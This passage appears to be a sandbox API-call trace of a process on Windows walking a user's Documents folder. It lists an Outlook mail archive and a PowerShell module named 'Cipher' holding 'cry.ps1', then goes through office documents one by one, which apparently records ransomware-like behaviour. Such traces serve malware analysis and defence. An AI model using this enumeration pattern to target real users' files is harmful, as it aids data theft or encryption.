(dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.608] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst")) returned 0x2020 [0162.608] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0162.609] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0162.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0162.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x2e [0162.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0162.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x2e [0162.609] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0162.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x2e [0162.610] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.610] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.610] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0162.611] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.611] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.611] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.611] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0162.611] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0162.611] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.612] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0162.612] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0162.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0162.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0162.613] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0162.614] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.614] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.614] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.615] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 1 [0162.615] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 0 [0162.615] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0162.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0162.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0162.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0162.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0162.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0162.617] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0162.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0162.617] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.618] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0162.618] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0162.619] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0162.619] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.619] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.620] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0162.620] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0162.625] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0162.625] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0162.625] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0162.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0162.626] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0162.626] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0162.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0162.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0162.627] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0162.628] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0162.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0162.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 